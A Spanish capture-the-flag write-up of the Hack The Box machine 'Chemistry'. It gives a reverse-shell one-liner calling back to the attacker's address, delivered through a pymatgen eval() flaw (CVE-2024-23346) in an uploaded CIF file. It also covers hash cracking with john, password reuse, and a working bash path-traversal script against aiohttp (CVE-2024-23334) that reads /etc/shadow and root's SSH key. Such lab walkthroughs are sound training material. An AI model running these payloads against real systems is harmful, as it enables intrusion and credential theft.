Chemistry
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Chemistry es una máquina Linux de dificultad fácil construida sobre dos CVE encadenadas. La web del puerto 5000 es un analizador de ficheros CIF; al subir uno malicioso disparamos CVE-2024-23346, una deserialización insegura en pymatgen que ejecuta código víaeval()y nos da una reverse shell comoapp. En/home/apphay undatabase.dbcon el hash derosa; lo crackeamos con john (unicorniosrosados) y saltamos a su cuenta. Para escalar, un servicio interno en el puerto 8080 resulta ser aiohttp 3.9.1, vulnerable a CVE-2024-23334; mediante un reenvío de puerto y un path traversal leemos la clave SSH privada derooty entramos directamente comoroot.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.3864 bytes from 10.10.11.38: icmp_seq=1 ttl=63 time=38.4 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un escaneo TCP completo descubre solo dos puertos abiertos: 22 (SSH) y 5000.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.38
[+] Introduce una IP
10.10.11.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-02 16:40 CET
Initiating SYN Stealth Scan at 16:40
Scanning 10.10.11.38 [65535 ports]
Discovered open port 22/tcp on 10.10.11.38
Discovered open port 5000/tcp on 10.10.11.38
Completed SYN Stealth Scan at 16:40, 13.53s elapsed (65535 total ports)
Not shown: 65524 closed tcp ports (reset), 9 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 13.63 secondsextractPorts resume el fichero -oG y deja los dos puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.38
Open ports: 22,5000Not shown: 65524 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63Los syn-ack ttl 63 de la columna REASON confirman por el handshake TCP lo que decía el ping. Y conviene leer la línea de arriba: hay 9 puertos filtrados, no cero, aunque el propio nmap avisa de que con --min-rate alto algunos cerrados pueden salir como filtrados por el rate limiting de RST. No es un cortafuegos, es ruido del escaneo rápido.
Una segunda medida independiente, sin nmap, usando solo el redirector /dev/tcp de bash sobre los 65535 puertos:
for port in $(seq 1 65535); do
(echo '' > /dev/tcp/10.10.11.38/$port) 2>/dev/null && echo "[+] El puerto $port está abierto"
done
[+] El puerto 22 está abierto
[+] El puerto 5000 está abiertoTarda muchísimo más (nmap resuelve los 65535 en 13 segundos), pero es la herramienta que hay cuando no se puede instalar nada, y aquí sirve para confirmar que no se escapó nada entre esos 9 filtrados.
Pedimos versión y scripts sobre ambos:
nmap -p22,5000 -sCV 10.10.11.38
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Content-Type: text/html; charset=utf-8
| <title>Chemistry - Home</title>
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF
| (Crystallographic Information File) and analyze the structural data contained within.</p>
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>Merece la pena pararse aquí, porque la salida no es la que parece. El 5000 sigue etiquetado como upnp?, con interrogación: nmap no ha conseguido identificar el servicio y ha caído al nombre por defecto que el fichero nmap-services asigna a ese puerto. Lo que hace en su lugar es volcar la respuesta en crudo bajo fingerprint-strings, y ahí dentro está todo: la cabecera Server: Werkzeug/3.0.3 Python/3.9.5 (un Flask, no UPnP), el título de la página y hasta el texto de bienvenida que explica qué hace la aplicación. La lección es que un servicio? con interrogación no significa "nada que ver", significa "léelo tú".
whatweb llega a lo mismo por la vía corta:
whatweb http://10.10.11.38:5000
http://10.10.11.38:5000 [200 OK] Country[RESERVED][ZZ], HTML5,
HTTPServer[Werkzeug/3.0.3 Python/3.9.5], IP[10.10.11.38], Python[3.9.5],
Title[Chemistry - Home], Werkzeug[3.0.3]Werkzeug es el servidor de desarrollo de Flask. Que esté expuesto directamente, sin un nginx o un gunicorn delante, ya dice bastante del cuidado con que se ha desplegado esto.
La aplicación web - TCP 5000
La web es un Chemistry CIF Analyzer: permite registrarse, iniciar sesión y subir un fichero .cif (Crystallographic Information File, un formato de cristalografía) para analizar su estructura. Tras registrarnos, el panel ofrece el formulario de subida, una lista de estructuras procesadas y, en el enunciado, un enlace here que descarga un example.cif válido:

Ese example.cif es más útil de lo que parece: da la plantilla exacta que el parser acepta, que es sobre lo que después habrá que injertar el payload. Lo subimos tal cual y aparece en la tabla con dos acciones, View y Delete:


Y aquí está el detalle que decide toda la caja. Al pulsar View, el servidor parsea el fichero y devuelve sus datos ya interpretados: fórmula, parámetros de red, volumen, densidad y las posiciones atómicas.

Formula: H1 O1
Lattice Parameters
a 10.0 b 10.0 c 10.0
α 90.0 β 90.0 γ 90.0
Volume 1000.0 Density 0.09327413990998862
Atomic Sites
H 0.0 0.0 0.0
O 0.5 0.5 0.5Esa tabla no la calcula el navegador: la calcula el servidor al pulsar View. O sea que subir el fichero no dispara nada, verlo sí. El procesamiento de ficheros CIF se hace casi siempre con librerías de química de Python, y ahí es donde está el fallo.
Shell como app
CVE-2024-23346: RCE en pymatgen
Investigando cómo se explota el procesamiento de un .cif, damos con CVE-2024-23346: la librería de Python pymatgen (usada para manipular datos de materiales) tiene una deserialización insegura en JonesFaithfulTransformation.from_transformation_str(), que procesa una cadena del fichero con eval(). Como eval ejecuta Python arbitrario, un .cif malicioso logra ejecución de código.
Lo probamos primero en local, con la versión vulnerable de la librería y un payload que ejecuta touch:
pip install pymatgen==2024.1.26 --break-system-packages
python3 hola.py # CifParser("vuln.cif").parse_structures()
$ ls
hola.py reports vuln.cif
$ python3 hola.py
.../pymatgen/io/cif.py:1218: UserWarning: No structure parsed for section 1 in CIF.
Failed to parse transformation string.
.../pymatgen/io/cif.py:1224: UserWarning: Issues encountered while parsing CIF:
No structure parsed for section 1 in CIF.
Failed to parse transformation string.
Traceback (most recent call last):
File ".../hola.py", line 3, in <module>
structure = parser.parse_structures()
File ".../pymatgen/io/cif.py", line 1227, in parse_structures
raise ValueError("Invalid CIF file with no structures!")
ValueError: Invalid CIF file with no structures!
$ ls
hola.py 'prueb*aPytmagen' reports vuln.cifLo interesante es la combinación de las dos cosas. Por un lado el parseo falla ruidosamente: Failed to parse transformation string, ninguna estructura, y una excepción que corta el programa. Por otro, el ls posterior enseña un fichero nuevo, prueb*aPytmagen, que no existía antes. El comando inyectado se ejecutó antes de que el parser decidiera que la cadena no era válida, porque el eval() ya se había evaluado para entonces. Es la prueba del RCE, y también la razón de que la caja funcione: en la web veremos un error y aun así habremos ejecutado código.
El payload va escondido en el campo _space_group_magn.transform_BNS_Pp_abc, donde una cadena recorre la jerarquía de clases de Python hasta BuiltinImporter, importa os y llama a system().
De RCE a reverse shell
Ahora cambiamos el touch por una reverse shell. Un detalle de esta caja: la víctima usa BusyBox, así que el one-liner clásico de bash falla; lo envolvemos para forzar bash:
/bin/bash -c 'sh -i >& /dev/tcp/10.10.15.39/4444 0>&1'Subimos el .cif con ese payload por el mismo formulario, ahora con el fichero vuln.cif:

Y antes de tocar nada, el listener:
nc -nlvp 4444
listening on [any] 4444 ...Con él escuchando, pulsamos View sobre la estructura. Es el mismo botón de antes, y por lo que vimos en el reconocimiento es el que hace que el servidor parsee:


listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.38] 35394
sh: 0: can't access tty; job control turned off
$Shell como rosa
El hash en database.db
La aplicación guarda sus datos en una base SQLite. En el directorio de la app encontramos database.db, y un strings filtrando por rosa saca su hash de contraseña (un MD5):
strings database.db | grep "rosa"
app@chemistry:~/instance$ strings database.db | grep "rosa"
Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'Esa M de delante y la comilla del final no sobran ni son un error de transcripción: strings está leyendo el fichero SQLite en crudo, así que lo que sale son los bytes del registro con sus separadores internos pegados al dato. El hash es lo de en medio, 63ed86ee9f624c7b14f1d4f43dc251a5, 32 caracteres hexadecimales, longitud de MD5.
Crackear y pivotar
Lo crackeamos con john indicando el formato Raw-MD5 y rockyou.txt. Sale enseguida:
john --format=Raw-MD5 rosa --fork=8 --wordlist=/home/krmena/rockyoudir/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Node numbers 1-8 of 8 (fork)
unicorniosrosados (?)
4 1g 0:00:00:00 DONE (2024-11-02 21:08) 12.50g/s 4660Kp/s 4660Kc/s 4660KC/s ...
Session completed.Dos detalles de la salida. El (?) en vez de un nombre de usuario es porque el fichero que le pasamos a john contiene el hash pelado, sin el usuario:hash que la herramienta espera para etiquetarlo; no es un fallo, simplemente no sabe a quién pertenece. Y el --fork=8 reparte el diccionario entre ocho procesos: lo revienta el nodo 4 en menos de un segundo, porque unicorniosrosados está en rockyou.
Esa contraseña es de la aplicación web, no del sistema. Pero probamos igualmente un su rosa, y funciona:
su rosa
app@chemistry:~/instance$ su rosa
Password:
rosa@chemistry:/home/app/instance$El prompt cambiando de app@ a rosa@ es toda la confirmación que hace falta: la misma contraseña servía para la cuenta del sistema (reutilización de credenciales). Con ella, la flag de usuario:
cat user.txt
rosa@chemistry:~$ ls
pspy32 pspy64 user.txt
rosa@chemistry:~$ cat user.txt
559435e943a501d6d9d7173b82df6f3fShell como root
Un servicio interno en el 8080
Toca enumerar desde dentro, que es donde aparecen los servicios atados a loopback. Se puede a mano con ss -tlnp, o dejando que lo haga linpeas.sh (repo), que trae una sección Active Ports justo para esto:
ss -tlnp
./linpeas.sh
OS: Linux version 5.4.0-196-generic (buildd@lcy02-amd64-031) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2))
User & Groups: uid=1001(app) gid=1001(app) groups=1001(app)
Hostname: chemistry
[+] /usr/bin/ping is available for network discovery
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding
[+] /usr/bin/nc is available for network discovery & port scanningEse último bloque no es relleno: linpeas avisa de que la máquina trae bash y nc, que es justo lo que haría falta para barrer puertos internos a mano si no encontrase nada. No hace falta, porque sí encuentra:

Active Ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN 1069/python3.9
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -Cuatro líneas y solo una interesa. El 0.0.0.0:22 y el 0.0.0.0:5000 ya los conocíamos por el nmap, y el 127.0.0.53:53 es el resolvedor local de systemd. El que no habíamos visto nunca es 127.0.0.1:8080, y no lo habíamos visto porque no se puede ver desde fuera: atado a la interfaz de loopback, es invisible para cualquier escaneo remoto. Este es el motivo por el que el listado de puertos se repite desde dentro después de conseguir la primera shell.
Lo acercamos a nuestra máquina con un reenvío de puerto local por SSH (el local 8081 hacia el 8080 de la víctima):
ssh -L 8081:127.0.0.1:8080 rosa@10.10.11.38
rosa@10.10.11.38's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)Con la sesión abierta, el 8080 interno de la víctima queda accesible en nuestro 127.0.0.1:8081.
Un nmap contra el puerto ya local identifica el servicio: aiohttp 3.9.1 sobre Python 3.9, una web de Site Monitoring.
nmap -p8081 -sCV 127.0.0.1
PORT STATE SERVICE VERSION
8081/tcp open http aiohttp 3.9.1 (Python 3.9)
|_http-server-header: Python/3.9 aiohttp/3.9.1
|_http-title: Site MonitoringNótese el contraste con el 5000: aquí nmap sí rellena la columna VERSION, porque aiohttp se anuncia con una cabecera Server limpia que la base de firmas reconoce. En el 5000 tuvimos que leerlo del volcado.
Abierto en el navegador, es un panel de monitorización con acciones para arrancar y parar servicios:

Las acciones (Start Service, Stop Service, Check Attacks) invitan a buscar una inyección de comandos por ahí, y es la trampa: el fallo no está en lo que hace la aplicación sino en la versión del servidor que la sirve, que es lo que el -sCV acaba de dar.
CVE-2024-23334: path traversal en aiohttp
aiohttp < 3.9.2 sufre CVE-2024-23334: si una ruta estática se configura con follow_symlinks=True, no valida que el fichero leído siga dentro del directorio raíz, lo que permite un path traversal. El PoC público prueba ../ incrementales contra la ruta estática, y viene con payload="/static/" por defecto.
Ese valor no sirve aquí, y averiguar el bueno es el paso que la mayoría se salta. Un dirsearch contra el puerto ya tunelizado lo resuelve:
dirsearch -u http://localhost:8081/
Target: http://localhost:8081/
[15:25:44] 403 - 14B - /assets
[15:25:44] 403 - 14B - /assets/Un 403 no es un fracaso, es una confirmación. La ruta existe (si no, sería 404) y lo único que niega el servidor es listar su contenido, que es exactamente el comportamiento de un directorio estático servido por aiohttp. Con eso basta: el prefijo del PoC pasa de /static/ a /assets/.
Primero confirmamos la lectura arbitraria apuntando a /etc/shadow. El script va probando profundidades hasta que una devuelve 200:
url="http://localhost:8080"
payload="/assets/"
file="etc/shadow"
for ((i=0; i<15; i++)); do
payload+="../"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
if [[ $status_code -eq 200 ]]; then curl -s --path-as-is "$url$payload$file"; break; fi
done
rosa@chemistry:~$ ./exploit.sh
[+] Testing with /assets/../etc/shadow
Status code --> 404
[+] Testing with /assets/../../etc/shadow
Status code --> 404
[+] Testing with /assets/../../../etc/shadow
Status code --> 200
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JWi3...
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::La escalera de códigos es el propio experimento: 404, 404, 200. Tres ../ y ni uno más, lo que sitúa la raíz estática tres niveles por debajo de /. Ir a ciegas con quince ../ habría funcionado igual en muchos servidores, pero aquí no: aiohttp normaliza la ruta y una profundidad excesiva se sale del sistema de ficheros, así que el bucle no es adorno, es lo que encuentra la profundidad correcta.
Este exploit.sh se lanzó desde la propia víctima, como rosa, contra su localhost:8080. El túnel SSH no era imprescindible para explotarlo; sirve para trabajar cómodo desde nuestra máquina, que es como se hace el siguiente paso.
Robar la clave de root y entrar
En vez de quedarnos con la flag, apuntamos a la clave SSH privada de root (/root/.ssh/id_rsa), esta vez desde nuestro Kali a través del túnel, cambiando solo la variable file del script:
file="root/.ssh/id_rsa"
./exploit.sh
[+] Testing with /assets/../root/.ssh/id_rsa
Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----Sale entera y sin contraseña: la cabecera es la de una clave OpenSSH sin cifrar, así que no hay que pasar por ssh2john ni por ningún crackeo. La última línea, además, lleva el comentario codificado root@chemistry, que confirma de quién es la clave antes de intentar nada.
La guardamos, le damos permisos 600 (SSH rechaza claves privadas legibles por otros) y nos conectamos como root:
chmod 600 id_rsa_root_chemistry
ssh -i id_rsa_root_chemistry root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
...
Last login: Fri Oct 11 14:06:59 2024
root@chemistry:~#Ya somos root. La flag final estaba de hecho al alcance mucho antes: el mismo exploit.sh, apuntando a root/root.txt, la devuelve sin necesidad de shell ninguna.
file="root/root.txt"
./exploit.sh
[+] Testing with /assets/../root/root.txt
Status code --> 404
[+] Testing with /assets/../../root/root.txt
Status code --> 404
[+] Testing with /assets/../../../root/root.txt
Status code --> 200
1b9a9dee3adbb6a870664121119032b8Merece la pena separar las dos cosas, porque no son lo mismo. Leer root.txt cierra la caja pero no da acceso: es una lectura arbitraria de ficheros, no ejecución. Robar id_rsa sí convierte esa lectura en una sesión interactiva como root, que es lo que en un entorno real distingue un hallazgo reportable de un compromiso completo.

Cadena de ataque
web :5000 (Chemistry CIF Analyzer)
│ subir .cif malicioso → pymatgen eval() (CVE-2024-23346)
▼
reverse shell como app (BusyBox)
│ /home/app/database.db → hash MD5 de rosa
▼
john (rockyou) → unicorniosrosados → su rosa → user.txt
│
│ linpeas: 127.0.0.1:8080 (interno)
▼
ssh -L 8081:127.0.0.1:8080 → aiohttp 3.9.1 (CVE-2024-23334)
│ /assets/../../../root/.ssh/id_rsa (path traversal)
▼
ssh -i id_rsa root@10.10.11.38 → shell como root → root.txtLecciones aprendidas
- Parsear ficheros del usuario es ejecutar su contenido si la librería usa
eval. La web procesaba.cifcon una versión vulnerable de pymatgen; ver CVE-2024-23346. Nunca pasar entrada no confiable aeval/execy mantener las dependencias al día. - BusyBox cambia el payload. El one-liner de reverse shell clásico no siempre funciona en sistemas minimalistas; conviene envolverlo en
/bin/bash -c '...'. - Las contraseñas en bases de datos locales son MD5 débiles. Un
stringssobredatabase.dby unjohncon rockyou bastan; ver crackeo de hashes. No reutilizar la misma contraseña para la cuenta del sistema. - Los servicios internos no son seguros por estar en localhost. Un reenvío de puerto los expone, y aquí aiohttp 3.9.1 permitía leer la clave de
rootpor path traversal. Actualizar aiohttp, desactivarfollow_symlinksy no servir directorios que contengan rutas sensibles. - Un
servicio?con interrogación no es un callejón sin salida. El-sCVdejó el 5000 comoupnp?porque no supo identificarlo, pero debajo volcó la respuesta en crudo, y ahí estaban elWerkzeug/3.0.3 Python/3.9.5, el título y hasta la descripción de la aplicación. Cuando nmap no sabe qué es algo, enseña lo que ha visto; hay que leerlo. - Un
403en el fuzzing vale tanto como un200. El PoC público venía con/static/y aquí no existe;dirsearchdevolvió/assetscon un 403, que confirma que la ruta está ahí y solo se niega el listado. Con esa diferencia entre 403 y 404, el exploit pasa de no funcionar a funcionar a la primera. - El fallo no siempre está en la aplicación, a veces está en quien la sirve. El panel de Site Monitoring invitaba a buscar inyección de comandos en sus botones de arrancar y parar servicios; el agujero estaba en la versión de aiohttp que lo servía. Fingerprintear el servidor, no solo la funcionalidad.
- Leer un fichero no es tener una shell. El mismo traversal daba
root.txtdirectamente, pero apuntarlo a/root/.ssh/id_rsaes lo que convierte una lectura arbitraria en una sesión comoroot. En un informe real, esa es la diferencia entre un hallazgo y un compromiso.